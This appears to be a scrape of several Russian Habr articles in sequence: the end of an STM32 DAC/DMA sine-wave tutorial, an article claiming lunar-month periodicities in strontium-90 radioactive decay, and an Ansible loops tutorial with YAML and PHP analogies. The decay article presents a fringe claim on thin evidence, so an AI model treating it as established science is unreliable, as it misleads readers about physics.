Итак, откроем новый проект в STM32CubeMX, и проделаем уже знакомую нам процедуру конфигурации тактового генератора. Теперь настроим всё остальное.
Вызывать DMA способны два таймера: TIM6 и TIM7. Задействуем TIM6.
Далее устанавливаем следующие настройки:
Генерируем код, и вставляем в main следующее:
```
/* USER CODE BEGIN Includes */
#include "math.h"
/* USER CODE END Includes */
//...
/* USER CODE BEGIN 0 */
#define N 3216
static uint16_t sine[N * 4];
/* USER CODE END 0 */
int main(void)
{
/* USER CODE BEGIN 1 */
/* USER CODE END 1 */
/* MCU Configuration----------------------------------------------------------*/
/* Reset of all peripherals, Initializes the Flash interface and the Systick. */
HAL_Init();
/* Configure the system clock */
SystemClock_Config();
/* Initialize all configured peripherals */
MX_GPIO_Init();
MX_DMA_Init();
MX_TIM6_Init();
MX_DAC_Init();
/* USER CODE BEGIN 2 */
const float A = 2047;
const float PI = 3.1415927;
for(int i = 0; i < N * 4; i++) {
sine[i] = 2048 + (int16_t)(round(A * sin((i * PI) / (N * 2.0))));
}
HAL_TIM_Base_Start(&htim6);
HAL_DAC_Start(&hdac,DAC_CHANNEL_1);
HAL_DAC_Start_DMA(&hdac, DAC_CHANNEL_1, (uint32_t*)sine, N * 4, DAC_ALIGN_12B_R);
/* USER CODE END 2 */
```
Конечно, мы можем сделать и массив другого размера. Размер массива должен передаваться в функцию HAL\_DAC\_Start\_DMA четвёртым параметром, после адреса массива.
После запуска программы мы должны получить на выходе синусоиду, точно такую же, как приводилась выше, поэтому приводить скриншот я не буду.
Вот и всё, что я хотел написать про работу с DAC.
### Что дальше?
В следующий раз мы кратко обсудим работу АЦП и интерфейс USB.
1. [AN3126
Application note «Audio and waveform generation using the DAC in STM32 microcontrollers»](http://www.st.com/content/ccc/resource/technical/document/application_note/05/fb/41/91/39/02/4d/1e/CD00259245.pdf/files/CD00259245.pdf/jcr:content/translations/en.CD00259245.pdf)
2. [AN4566
Application note «Extending the DAC performance of STM32 microcontrollers»](http://www.st.com/content/ccc/resource/technical/document/application_note/6f/35/61/e9/8a/28/48/8c/DM00129215.pdf/files/DM00129215.pdf/jcr:content/translations/en.DM00129215.pdf)
### PS
Приведённые в статье примеры были также реализованы на плате Nucleo F767ZI (микроконтроллер STM32F767ZI), в IDE Atollic TrueStudio. Их можно скачать здесь: <https://github.com/arktur04/stm32-habr> | https://habr.com/ru/post/312810/ | null | ru | null |
# Лунный звездный месяц (27.32 дней), лунный месяц по фазам Луны (29.5306 дней) в радиоактивном распаде
Эта статья продолжение серии публикаций по [эффекту Шноля](https://yadi.sk/i/clhVm4XCwqiZUQ) - космо-физических циклов проявляющихся в случайных процессах (прежде всего в радиоактивном распаде). [Здесь приведенный алгоритм](https://habr.com/ru/post/339078/) используется и в данной статье. Изменение косметические (графики вероятностей не двигаются до более полного совпадения по дистанции Эвклида). [Данные](https://yadi.sk/d/uTj-27jBgEK70A) предоставлены пользователем 48 дней с 19 декабря 2012 года по 6 февраля 2013 года распад стронция-90, измерение дозиметром ДП-5В.
27.32 лунный звездный месяц
```
import ephem
date = ephem.now()
str(ephem.next_full_moon(date))
'2021/9/20 23:54:39' - Полнолуние 20 сентября 2021 года 23:54 UTC
```
Надо отметить что периоды как звездного года так и лунного месяца приблизительны. Продолжительность года, тропического, и сидерического вместе с ним, величина нестабильная...<http://www.solar-climate.com/pd/MEZH2013.pdf>
Продолжение функции [pikmatch](https://habr.com/ru/post/339078/) (из дальнего угла статьи) самое важное — комбинаторное сравнение критических точек.
*ret=(ab1/ab2)/(nb1/nb2);* — Соотношение высоты (y ось) критических точек внутри одной функции к такому же соотношению внутри другой функции
*re=(ac1/ac2)/(nc1/nc2)*— То же что и в предыдущем случае но теперь по оси x длины между точками
*red=(φ°/ξ°)/(θ°/τ°)* — В заключении меряем углы
*rme=(ab1+1)\*(ab2+1)\*(nb1+1)\*(nb2+1);*— коэффициент важности отношения
Теперь финальная формула *res=re\*red\*ret\*rme*
*res* — это показатель похожести функции *1* на функцию *2*
```
for e in range(len(p)+len(p1)):
for l in range(len(p)+len(p1)):
if e>=len(p): me=minx[e-len(p)];pe=p1[e-len(p)];nme=nm1[e-len(p)];
else: me=maxx[e];pe=p[e];nme=nm[e];
if l>=len(p): ml=minx[l-len(p)];pl=p1[l-len(p)];nml=nm1[l-len(p)];
else: ml=maxx[l];pl=p[l];nml=nm[l];
red1=1;red=1;ab=y[pl]-y[pe];ac=pe-pl;au=x[ml]-x[me];ao=me-ml;hip=math.sqrt(ab**2+ac**2);hipe=math.sqrt(ao**2+au**2);
if (hip!=0)and(hipe!=0):
if math.asin(abs(au)/hipe)!=0:
red=abs(abs(math.asin(abs(ab)/hip)/math.asin(abs(au)/hipe))); # меряем углы
ret=abs(1-abs((0.00+abs((y[pl]+0.01)/(y[pe]+0.01)))/(0.00+abs((x[ml]+0.01)/(x[me]+0.01)))));uj=uj+1;
re=0+abs(1-abs(float(abs(pe-pl)+1))/float(abs(me-ml)+1));rme=(y[pe]+1)*(y[pl]+1)*(x[me]+1)*(x[ml]+1);rmu+=rme;
res+=abs(re*rme*red*ret);
return len(pi)*len(pi),res/uj,p,p1; # или /uj? rmu
```
До этого идет подготовка двух вероятностей к сравнению:
* Построенние гистограмм
* Их сглаживание
* Нахождение ключевых точек экстремумов
* Алгоритмом DTW соотнесение экстремумов одной картинки вероятности с другой
Для целей краткости я не буду заново приводить весь код - его можно найти на [гитхабе](https://github.com/a-nai/radioactivity) - в частности на [stellar\_moon\_shnoll\_radioactivity.py](https://github.com/a-nai/radioactivity/blob/master/stellar_moon_shnoll-radioactivity.py) и в предыдущей [статье по поиску звездного года и звездных суток](https://habr.com/ru/post/339078/)
```
matrix = pickle.load(open("natrix.pkl","rb"));
koeff=60;ex=20;ko=60;b=[0 for e in range(ko+ex)];bb=[0 for e in range(ko+ex)];#C:\\28-08-2004.txt /usr/local/28-08-2004.txt
#matrix = [line.strip() for line in open('/users/andrejeremcuk/downloads/natrix.txt')]; #days.dat
arra=[[ 0 for e in range(koeff)] for t in range(int(len(matrix)/koeff))];harra=[0 for t in range(int(len(matrix)/koeff))];
arrab=[[ 0 for e in range(koeff)] for t in range(int(len(matrix)/koeff))];harrab=[0 for t in range(int(len(matrix)/koeff))];z=0;
for i in range(len(matrix)): matrix[i]=int(matrix[i]);
for jk in range(1440*48): #int(len(matrix)/koeff)
for mk in range(koeff): arra[jk][mk]=matrix[z];z=z+1;
for jk in range(1440*48): #440*48
harra[jk]=np.histogram(arra[jk], bins=ko, density=False);harrab[jk]=np.histogram(arra[jk], bins=ko, density=False);harra[jk]=harra[jk][0];harrab[jk]=harrab[jk][0]
for u in range(5): harra[jk] = movingaverage(harra[jk], 4);harrab[jk]=movingaverage(harrab[jk], 4);
```
Подготовка и загрузка данных.
Обработка данных и функция сравнения 15\*1440 раз попарное с отступом сравнение картинок вероятностей:
```
def stat_distanc(counter):
for mk in range(1440*15):# 24000
mi=[];mis=[];mis1=[];mii=[];ei=[];ti=[];dots=[];dots1=[];resume=0;resum=0;
if counter=='l': rn=random.randint(0,1439);x=harra[mk];y=harra[random.randint(0,1440*48)];#print rn; #y=harra[random.randint(0,1439)];
else: y=harra[mk+int(1440*29.5306)-counter];x=harra[mk];#29.5306 #27.32
#print(x);print(y)
optimal=0;ret=pik(x,y);minmaxx=ret[6];minmaxy=ret[7];maxx=ret[0];maxy=ret[1];minx=ret[2];miny=ret[3]
optimal1=0;#print mk;
#for k in range(len(minmaxx)): dots.append(x[minmaxx[k]]);#minmaxx[k]=59-minmaxx[k];
#for k in range(len(minmaxy)): dots1.append(y[minmaxy[k]]);#minmaxy[k]=59-minmaxy[k]
outputs=pikmatch(x,y,maxx,maxy,-optimal,minmaxx,miny,minx);
outputs1=pikmatch(y,x,maxy,maxx,optimal,minmaxy,minx,miny);
#.set_alpha(0.5)
mx1=minmaxx[:];my1=minmaxy[:];mxx1=maxx[:];mxx2=minx[:]
for k in range(len(minmaxx)): dots.append(x[minmaxx[k]]);minmaxx[k]=59-minmaxx[k];
for k in range(len(maxx)): maxx[k]=59-maxx[k];
for k in range(len(minx)): minx[k]=59-minx[k];
minmaxx=minmaxx[::-1];maxx=maxx[::-1];minx=minx[::-1];
output=pikmatch(x[::-1],y,maxx,maxy,-optimal1,minmaxx,miny,minx);minmaxx=minmaxx[::-1];mx2=minmaxx[:]; #
for k in range(len(minmaxy)): dots1.append(y[minmaxy[k]]);#minmaxy[k]=59-minmaxy[k]
minmaxx=mx1[:];
output1=pikmatch(y,x[::-1],maxy,maxx,optimal1,minmaxy,minx,miny);
#data.append((min(outputs1[1]+outputs[1],output[1]+output1[1])))
resume+=(min(outputs1[1]+outputs[1],output[1]+output1[1]));
return resume/100;
```
```
base=[];
for i in range(1,40):
base.append(stat_distanc(-i));print(i,base[-1])
```
Итак - это список ***y=harra[mk+int(1440\*29.5306)-counter];x=harra[mk]***
В сутках 1440 минут.
Сравнение двух гистограмм **y** и **x**
mk пробегает все значения от 0 до 15\*1440 int(1440\*27.32)=int(39340.8)=39340
или ***int(1440\*27.32)-counter= 39340-(-1)=39341 минуты*** разницы между парами гистограмм. Всего порядко 71000 пар минутных гистограмм в базе данных natrix.pkl
```
(1, 0.03720469975390827) - counter=(-1) звездный лунный месяц!
(2, 0.8240805685848609)
(3, 0.18026863339278953)
(4, 0.18890286408574447)
(5, 0.25710611034587094)
(6, 0.40811789053184866)
(7, 0.02679778984615549) - экстремум
(8, 0.19556993703556264)
(9, 0.2656108825684261)
(10, 0.7023092195454633)
(11, 0.9020048813995623)
(12, 0.15056575136836448)
(13, 0.20395566152660963)
(14, 0.13283778948543773)
(15, 0.13547446924583462)
(16, 0.7920960027018115)
(17, 0.2083328640919179)
(18, 0.13067942631807888)
(19, 0.7859644559915133)
(20, 3.604454511125762)
(21, 0.13440820636528378)
(22, 0.20746970222675998)
(23, 0.0510968974544833)
(24, 0.9530861712762281)
(25, 0.1284584909718456)
(26, 0.15656732573418314)
(27, 1.176506212754484)
(28, 0.04871082635360579)
(29, 0.38628477666689237)
(30, 0.15699750109619914)
(31, 0.23916752153424567)
(32, 0.08397878096311373)
(33, 0.10648490713511728)
(34, 0.24418916134642366)
(35, 0.8269781626995687)
(36, 0.05185633430034331)
(37, 23.874726604353317)
(38, 0.8699272070552455)
(39, 0.2904253601196485)
```
[Полный файл от +1 до +1440 минут сравнения 15\*1440 пар;](https://github.com/a-nai/radioactivity/edit/master/lunar_stellar_month_data.txt)
Итак - это список ***y=harra[mk+int(1440\*29.5306)-counter];x=harra[mk]***
В сутках 1440 минут.
Сравнение двух гистограмм **y** и **x**
mk пробегает все значения от 0 до 15\*1440 int(1440\*29.5306)=int(42524.064)=42524
или ***int(1440\*29.5306)-counter= 42524-(-1)=42525 минуты*** разницы между парами гистограмм. Всего порядко 71000 пар минутных гистограмм в базе данных natrix.pkl
```
(1, 0.03287808742170125) - counter=-1 Экстремум на фазном лунном месяце!
(синодический месяц)
(2, 0.04950575951819716)
(3, 0.806490136900523)
(4, 0.046990467649853505)
(5, 0.0532420976445049)
(6, 0.09002399019948747)
(7, 0.027606309655760546) - тоже экстремум
(8, 0.11782569015338376)
(9, 0.5374459426710351)
(10, 0.07008143466407309)
(11, 0.04994860016543793)
(12, 0.03345387053788801)
(13, 0.30361706608612754)
(14, 0.7318734780107466)
(15, 0.7908768432448845)
(16, 0.03926979110341043)
(17, 0.10123586725375504)
(18, 0.06118780321833314)
(19, 0.7053190975690488)
(20, 0.5964417623151171)
(21, 0.1399610359044906)
(22, 0.425152950080484)
(23, 0.1417306967135202)
(24, 0.17499408827928842)
(25, 0.07561006907504836)
(26, 0.07849399200880486)
(27, 0.08423551075280011)
(28, 0.44475709935476937)
(29, 0.018872329737888528) - экстремум
(30, 0.04165488266741375)
(31, 0.0635971263446504)
(32, 0.11246050170616367)
(33, 0.23838722809785304)
(34, 0.45498725814384633)
(35, 2.553495182239864)
(36, 2.188657924894538)
(37, 0.037402046247959495)
(38, 0.12171633541393172)
(39, 0.24907168355833093)
```
```
base=[];
for i in range(1440):
base.append(stat_distanc(-i));print(i,base[-1])
```
**Аномалистический месяц** - промежуток времени между последовательными прохождениями Луны через перигей ее орбиты (27.55455 сут).
**Драконический месяц** - промежуток времени между последовательными прохождениями Луны через один и тот же узел ее орбиты на эклиптике (27.21222 сут); имеет значение в теории затмений.
**Сидерический** или **звездный месяц** - промежуток времени, за который Луна совершает оборот вокруг Земли и возвращается в ту же точку небесной сферы относительно звезд; равен периоду вращения Луны (27d07h43m11s = 27.32166 сут).
**Синодический** или **лунный месяц** - период смены лунных фаз (29d12h44m03s = 29.53059 сут; меняется от 29.25d до 29.83d вследствие эллиптичности лунной орбиты); служит основанием лунных календарей.
**Тропический месяц** - период возвращения Луны к той же эклиптической долготе, например, к точке весеннего равноденствия (27.32158 сут).
Вывод такой: очень странно что два экстремума суммы похожих пар гистограмм приходятся на звездный лунный месяц и лунный месяц фаз (синодический месяц).
0.03287808742170125 - 29.5306 дней
0.03720469975390827 - 27.32 дней
Планируется следующая статья про периоды в радиоактивном распаде соотнесенном с временем рассвета заката солнца и луны. Видимость звезд. Эфемериды. | https://habr.com/ru/post/578694/ | null | ru | null |
# Распутывая Ansible Loops
В посте рассматриваются следующие Ansible модули loop: with\_items, with\_nested, with\_subelements, with\_dict.
Все эти with\* уже deprecated, и рекомендуется использовать loop.
[Исходный код](https://github.com/ctorgalson/ansible-loops)
Одна из моих ролей в Chromatic — член команды DevOps. Помимо прочего, это включает в себя работу с нашими серверами и серверами наших клиентов. Это, в свою очередь, означает, что я трачу много времени на работу с [Ansible](https://www.ansible.com/), популярным инструментом для инициализации, настройки и развертывания серверов и приложений.
Проще говоря, машина, на которой запущен Ansible, запускает команды на другом компьютере через SSH. Эти команды указываются [декларативно (не обязательно)](http://latentflip.com/imperative-vs-declarative) с использованием небольших участков YAML, называемых задачами. Эти TASKS вызывают [модули Ansible](https://github.com/ansible/ansible-modules-core), которые специализируются на выполнении опций с определенными компонентами, такими как файлы, базы данных и т. д.
Например, следующая задача использует модуль File ([документация](http://docs.ansible.com/ansible/2.4/file_module.html), [код](https://github.com/ansible/ansible-modules-core/blob/devel/files/file.py)) для создания определенного каталога, если он еще не существует, и изменяет его атрибуты, если они еще не установлены правильно:
```
- file:
path: /home/jenkins/.ssh
state: directory
owner: jenkins
group: jenkins
mode: 700
```
Несколько задач, относящихся к одной задаче, сгруппированы в роли, а несколько ролей могут быть сгруппированы в playbooks. Затем можно использовать playbook для выполнения точно таких же шагов конфигурации на любом количестве серверов одновременно.
#### Ansible декларативный?
TASKS Ansible записываются декларативно, то есть мы не указываем, какая базовая реализация должна использоваться для выполнения TASKS. Это полезно, поскольку обеспечивает высокий уровень абстракции, очень читаемый и относительно простой для написания кода, а в некоторых случаях позволяет нам использовать одну и ту же задачу на разных платформах. Например, есть модуль [Ansible Copy](http://docs.ansible.com/ansible/2.4/copy_module.html), который используется для копирования файлов на конечный компьютер. В следующей задаче Ansible копирует файл конфигурации в правильный каталог на удаленном компьютере и устанавливает владельца, группу и права доступа к файлу:
```
- name: Copy SSH config file into Alice’s .ssh directory.
copy:
src: files/config
dest: /home/alice/.ssh/config
owner: alice
group: alice
mode: 0600
```
Для достижения того же результата мы могли бы, например, написать серию команд или функцию в bash, используя `scp`, `chown` и chmod. С Ansible мы можем сосредоточиться на желаемой конфигурации, не слишком заботясь о деталях.
С другой стороны, это также означает, что доступные инструменты иногда кажутся странными или необычными — в основном потому, что разработчики обычно имеют доступ к императивным инструментам в тех случаях, когда декларативный вариант не подходит.
Одно место, где я заметил это в Ansible, — это многократное выполнение одной и той же TASKS с набором разных элементов. В частности, я нашел [инструменты циклов Ansible](http://docs.ansible.com/ansible/2.4/playbooks_loops.html) немного странными, не в последнюю очередь потому, что их шестнадцать — по сравнению с PHP, который имеет [четыре вида циклов](http://php.net/manual/en/language.control-structures.php).
На самом деле для этого есть причина, если вас интересует внутреннее устройство Ansible. На странице Loops в документации указано, что «loops на самом деле представляют собой комбинацию вещей с \_ + lookup(), поэтому любой плагин поиска можно использовать в качестве источника для цикла». [Поиск (Lookups) — это тип плагина Ansible](http://docs.ansible.com/ansible/2.4/playbooks_lookups.html), который используется для «доступа к данным в Ansible из внешних источников», и если вы сравните [документацию Loops](http://docs.ansible.com/ansible/2.4/playbooks_loops.html) и [каталог плагинов Ansible на Github](https://github.com/ansible/ansible/tree/devel/lib/ansible/plugins/lookup), вы увидите многие из них с одинаковыми именами.
Однако в документации Ansible поисковые запросы рассматриваются как «расширенная тема», и нет необходимости углубляться в исходный код, чтобы научиться использовать сами циклы. В оставшейся части этого поста описаны несколько наиболее часто используемых циклов Ansible, а также некоторые вещи, которые я узнал о том, как их использовать.
#### Циклы Ansible
TASKS, выполняемые в следующих примерах, являются более или менее произвольными примерами, связанными с созданием пользователей и их каталогов, но они тесно связаны с реальными задачами, которые могут потребоваться на производственных серверах (но обратите внимание: данные, с которыми мы должны работать, и количество задач, которые мы используем для достижения правильной конфигурации, явно нереально!)
Примеры основываются друг на друге для выполнения следующих простых задач на гипотетическом сервере:
1. Убедитесь, что присутствуют четыре пользователя: `alice`, `bob`, `carol` и `dan`.
2. Убедитесь, что домашний каталог каждого пользователя содержит два каталога: `.ssh/` и `loops`.
3. Убедитесь, что каждый из четырех домашних каталогов пользователей содержит по одному каталогу для каждого другого пользователя. Например, домашний каталог пользователя alice по завершении должен выглядеть так:
```
/home/alice/
├── .ssh/
├── bob/
├── carol/
├── dan/
└── loops/
```
#### Цикл 1. Создание пользователей [WITH\_ITEMS](http://docs.ansible.com/ansible/2.4/playbooks_loops.html#standard-loops)
Типичная задача в Ansible может выглядеть примерно так, когда пользователь удаляет пользователя `chuck` из системы, в которой выполняется задача:
```
- name: Remove user ‘Chuck’ from the system.
user:
name: chuck
state: absent
remove: yes
```
Чтобы повторить эту задачу для нескольких пользователей — скажем, нам нужно удалить пользователей `Chuck` и `Craig` — мы просто добавляем в задачу параметр `with_items`. with\_items принимает либо список (показанный здесь), либо переменную (как в остальных следующих примерах):
```
- name: Remove users ‘Chuck’ and ‘Craig’ from the system.
user:
name: "{{ item }}"
state: absent
remove: yes
with_items:
- chuck
- craig
```
Возвращаясь к нашему первому примеру цикла, мы можем использовать with\_items для создания первых пользователей в нашем списке, `alice` и `bob`:
##### Переменные
```
users_with_items:
- name: "alice"
personal_directories:
- "bob"
- "carol"
- "dan"
- name: "bob"
personal_directories:
- "alice"
- "carol"
- "dan"
```
##### TASKS
```
- name: "Loop 1: create users using 'with_items'."
user:
name: "{{ item.name }}"
with_items: "{{ users_with_items }}"
```
Здесь мы используем [модуль Ansible User](http://docs.ansible.com/ansible/2.4/user_module.html) для перебора переменной с именем users\_with\_items. Эта переменная содержит имена и информацию о двух пользователях, но задача только гарантирует, что пользователи существуют в системе, она не создает каталоги, содержащиеся в списке personal\_directories каждого пользователя (обратите внимание, что personal\_directories — это просто произвольный ключ в массиве данных для нашего примера).
Это примечательная особенность циклов Ansible (и Ansible в целом): поскольку TASKS вызывают определенные модули с определенной проблемной областью, обычно в задаче невозможно выполнять более одного вида вещей. В данном конкретном случае это означает, что мы не можем убедиться, что `personal_directories` пользователя существуют из этой TASKS (т. е. Потому что мы используем модуль User, а не модуль File).
Цикл `with_items` работает примерно так же, как этот цикл PHP:
```
php
foreach ($users_with_items as $user) {
// Do something with $user...
}</code
```
Мы писали задачу как обычно, за исключением того, что:
• Мы заменили имя переменной `item.name` на имя пользователя.
• Мы добавили строку `with_items`, определяющую переменную для перебора.
Также стоит отметить, что внутри цикла Ansible текущая итерация всегда является `item`, и доступ к любому заданному свойству осуществляется с помощью `item.property`.
##### РЕЗУЛЬТАТЫ
```
/home/
├── alice/
└── bob/
```
#### Цикл 2: Создавайте каталоги общих пользователей, используя [WITH\_NESTED](http://docs.ansible.com/ansible/2.4/playbooks_loops.html#nested-loops)
Примечание: Для цикла 2 нужны созданные юзеры, например с помощью цикла 1. Иначе будет ошибка `chown failed: failed to look up user`
В этом примере мы используем две переменные, `users_with_items` из цикла 1, и новую, `common_directories`, которая представляет собой список всех каталогов, которые должны присутствовать в каталоге каждого пользователя. Это означает, что (снова возвращаясь к PHP), нам нужно что-то, что работает примерно так:
```
php
foreach ($users_with_items as $user) {
foreach ($common_directories as $directory) {
// Create $directory for $user...
}
}</code
```
В Ansible мы можем использовать цикл `with_nested`. Циклы `with_nested` принимают два списка, второй из которых повторяется на каждой итерации первого:
##### Переменные
```
users_with_items:
- name: "alice"
personal_directories:
- "bob"
- "carol"
- "dan"
- name: "bob"
personal_directories:
- "alice"
- "carol"
- "dan"
common_directories:
- ".ssh"
- "loops
```
##### TASKS
```
# Note that this does not set correct permissions on /home/{{ item.x.name }}/.ssh!
- name: "Loop 2: create common users' directories using 'with_nested'."
file:
dest: "/home/{{ item.0.name }}/{{ item.1 }}"
owner: "{{ item.0.name }}"
group: "{{ item.0.name }}"
state: directory
with_nested:
- "{{ users_with_items }}"
- "{{ common_directories }}"
```
Как показано в приведенной выше задаче, к двум спискам в with\_nested можно получить доступ, используя `item.0` (для `users_with_items`) и `item.1` (для `common_directories`) соответственно. Это позволяет нам, например, создайте каталог `/home/alice/.ssh` на самой первой итерации.
##### Результаты
```
/home/
├── alice/
│ ├── .ssh/
│ └── loops/
└── bob/
├── .ssh/
└── loops/
```
#### Цикл 3: Создавайте личные каталоги пользователей, используя [WITH\_SUBELEMENTS](http://docs.ansible.com/ansible/2.4/playbooks_loops.html#looping-over-subelements)
Примечание: Для цикла 3 нужны созданные юзеры, например с помощью цикла 1. Иначе будет ошибка `chown failed: failed to look up user`
В этом примере мы используем другой вид вложенного цикла `with_subelements` для создания каталогов, перечисленных в переменной `users_with_items` из цикла 1. В PHP цикл может выглядеть примерно так:
```
php
foreach ($users_with_items as $user) {
foreach ($user['personal_directories'] as $directory) {
// Create $directory for $user...
}
}</code
```
Обратите внимание, что мы перебираем массив `$users_with_items` и `$user['personal_directories']` для каждого пользователя.
##### Переменные
```
users_with_items:
- name: "alice"
personal_directories:
- "bob"
- "carol"
- "dan"
- name: "bob"
personal_directories:
- "alice"
- "carol"
- "dan"
```
##### TASKS
```
- name: "Loop 3: create personal users' directories using 'with_subelements'."
file:
dest: "/home/{{ item.0.name }}/{{ item.1 }}"
owner: "{{ item.0.name }}"
group: "{{ item.0.name }}"
state: directory
with_subelements:
- "{{ users_with_items }}"
- personal_directories
```
Цикл `with_subelements` работает почти так же, как `with_nested`, за исключением того, что вместо второй переменной он принимает переменную и ключ другого списка, содержащегося в этой переменной — в данном случае personal\_directories. Как и в цикле 2, первая итерация этого цикла создает (или проверяет существование) `/home/alice/bob`.
##### Результаты
```
/home/
├── alice/
│ ├── .ssh/
│ ├── bob/
│ ├── carol/
│ ├── dan/
│ └── loops/
└── bob/
├── .ssh/
├── alice/
├── carol/
├── dan/
└── loops/
```
#### Цикл 4: Создавайте пользователей с использованием [WITH\_DICT](http://docs.ansible.com/ansible/2.4/playbooks_loops.html#looping-over-hashes)
Цикл 3 завершил настройку домашних каталогов, принадлежащих `alice` и `bob`, но есть еще два выдающихся пользователя, которые нужно создать, `carol` и `dan`. В этом примере этих пользователей создаются с помощью новой переменной `users_with_dict` и цикла Ansible `with_dict`.
Обратите внимание, что структура данных здесь содержит значимые ключи (`dict` или `dictionary` — это имя Python для ассоциативного массива); `with_dict` может быть лучшим вариантом, если вы вынуждены использовать данные с таким типом структуры. Цикл, который мы создаем здесь в Ansible, в PHP примерно такой:
```
php
foreach ($users_with_dict as $user = $properties) {
// Create a user named $user...
}
```
##### ПЕРЕМЕННЫЕ
```
users_with_dict:
carol:
common_directories: "{{ common_directories }}"
dan:
common_directories: "{{ common_directories }}"
```
##### TASKS
```
- name: "Loop 4: create users using 'with_dict'."
user:
name: "{{ item.key }}"
with_dict: "{{ users_with_dict }}"
```
Тип цикла `with_dict` довольно краток и позволяет получить доступ к ключам переменной и соответствующим значениям. К сожалению, у него есть один практический недостаток, а именно то, что невозможно перебрать подэлементы `dict` с помощью `with_dict` (так, например, мы не можем использовать `with_dict` для создания общих каталогов каждого пользователя).
##### Результаты
```
/home/
├── alice/
│ ├── .ssh/
│ ├── bob/
│ ├── carol/
│ ├── dan/
│ └── loops/
├── bob/
│ ├── .ssh/
│ ├── alice/
│ ├── carol/
│ ├── dan/
│ └── loops/
├── carol/
└── dan/
```
#### Цикл 5: Создавайте личные каталоги, если они не существуют
Поскольку мы не можем легко использовать `users_with_dict`, нам нужно использовать доступные инструменты Ansible, чтобы сделать это по-другому. Поскольку теперь мы создали необходимых пользователей `alice`, `bob`, `carol` и `dan`, мы можем повторно использовать цикл `with_nested` вместе с содержимым каталога `/home/`. В этом примере используется несколько новых функций, не связанных с циклами, чтобы показать, как циклы могут быть интегрированы в относительно сложные TASKS:
* Регистрируемые переменные Ansible
+ Ansible условные выражения
+ Jinja2 (переменные)
+ Jinja2 (фильтры)
##### Переменные
```
common_directories:
- ".ssh"
- "loops"
```
##### TASKS
```
- name: "Get list of extant users."
shell: "find * -type d -prune | sort"
args:
chdir: "/home"
register: "home_directories"
changed_when: false
- name: "Loop 5: create personal user directories if they don't exist."
file:
dest: "/home/{{ item.0 }}/{{ item.1 }}"
owner: "{{ item.0 }}"
group: "{{ item.0 }}"
state: directory
with_nested:
- "{{ home_directories.stdout_lines }}"
- "{{ home_directories.stdout_lines | union(common_directories) }}"
when: "'{{ item.0 }}' != '{{ item.1 }}'"
```
Здесь у нас есть две TASKS: одна использует модуль `shell` для выполнения команды `find` на сервере, а другая использует file для создания каталогов.
При выполнении в каталоге `/home` команда `find \ -type d -prune | sort` (выполняется модулем `shell`) вернет только имена каталогов, найденных внутри `/home`, другими словами, имена всех пользователей, каталоги которых необходимо подготовить.
Вывод этой команды сохраняется в переменной `home_directories` строкой `register: "home_directories"` в задаче. Важная часть этой переменной, которую мы будем использовать в следующей задаче, выглядит так:
```
"stdout_lines": [
"alice",
"bob",
"carol",
"dan",
],
```
Вторая задача в этом примере (фактический цикл) почти полностью совпадает с циклом `with_nested` во втором примере, но следует отметить два отличия:
1. Вторая строка в разделе `with_nested` выглядит несколько необычно:
```
- "{{ home_directories.stdout_lines | union(common_directories) }}"
```
1. Есть еще одна строка, начинающаяся с `when` в конце TASKS:
```
when: "'{{ item.0 }}' != '{{ item.1 }}'"
```
Давайте пройдемся по ним по очереди. Нечетная строка под `with_nested` применяет фильтр Jinja2 к новому списку каталогов из первой TASKS выше (это часть `home_directories.stdout_lines`). Базовый синтаксис фильтров Jinja:
* объект для фильтрации (`home_directories.stdout_lines`)
* применить фильтр (`|`)
* имя фильтра плюс аргументы, если есть (`union (common_directories)`)
Другими словами, мы используем фильтр для объединения `home_directories.stdout_lines` и переменной `common_directories` из начала этого примера в единый массив:
```
item:
- .ssh
- alice
- bob
- carol
- dan
- loops
```
Это означает, что наш цикл `with_nested` будет перебирать каждый из `home_directories.stdout_lines` (первая строка `with_nested`) и гарантировать, что каждый из каталогов во второй строке существует в домашнем каталоге каждого пользователя.
К сожалению, это дало бы нам неверный результат — если бы мы полагались только на цикл, мы бы обнаружили, что домашний каталог каждого пользователя будет содержать каталог с тем же именем, что и домашний каталог! (например, `/home/alice/alice`, `/home/bob/bob` и т. д.) Вот где появляются условные выражения Ansible — `when` — приходят:
```
when: "'{{ item.0 }}' != '{{ item.1 }}'"
```
Эта строка не позволяет задаче создать каталог, когда текущий элемент в `home_directories.stdout_lines` и текущий элемент в нашем объединении `home_directories.stdout_lines` идентичны (как указано в [документации Ansible Loops](http://docs.ansible.com/ansible/2.4/playbooks_loops.html), «… при объединении `when` с `with_items` (или любой другой оператор цикла), оператор when обрабатывается отдельно для каждого элемента »). В PHP то, что мы делаем во второй задаче, будет выглядеть примерно так:
```
php
$users = ['alice', 'bob', 'carol', 'dan'];
$common_directories = ['.ssh', 'loops'];
$directories = $user + $common_directories;
foreach ($users as $user) {
foreach ($directories as $directory) {
if ($directory != $user) {
// Create the directory…
}
}
}</code
```
Это дает нам набор результатов, показанных ниже, и завершает подготовку нашего тестового примера.
##### Результаты
```
/home/
├── alice/
│ ├── .ssh/
│ ├── bob/
│ ├── carol/
│ ├── dan/
│ └── loops/
├── bob/
│ ├── .ssh/
│ ├── alice/
│ ├── carol/
│ ├── dan/
│ └── loops/
├── carol/
│ ├── .ssh/
│ ├── alice/
│ ├── bob/
│ ├── dan/
│ └── loops/
└── dan/
├── .ssh/
├── alice/
├── bob/
├── carol/
└── loops/
```
#### Выводы
Циклы Ansible довольно странные. Они не только декларативны (как и все остальное в Ansible), но и имеют много разных типов, некоторые из имен которых (`with_nested`? `with_subitems`?) Трудно распутать.
С другой стороны, они достаточно мощны, чтобы выполнять TASKS, хотя это может потребовать небольшого сдвига в мышлении (во многом подобно языковым функциям, таким как `array_filter`, `array_reduce`, `array_map` и другим подобным функциям, когда вы впервые сталкиваетесь с ними). Прошло некоторое время, прежде чем я действительно начал понимать, что необходимо присоединить цикл к задаче — даже если это иногда означает повторение одних и тех же данных более одного раза — вместо выполнения одной или нескольких задач внутри цикла.
Надеюсь, этот пост поможет вам избавиться от моего первоначального затруднения. С этой целью я собрал виртуальную машину [Vagrant](https://github.com/ctorgalson/ansible-loops) (Vagrant изначально поддерживает использование Ansible для подготовки) и Ansible playbook, который я использовал для создания и тестирования этих примеров). Просто следуйте инструкциям в README, чтобы запустить примеры из этого сообщения или попробовать свои собственные. Если у вас есть какие-либо вопросы или комментарии, напишите нам в Twitter по адресу @chromaticHQ! | https://habr.com/ru/post/526526/ | null | ru | null |
# Тонкости перегрузки методов по константности *this
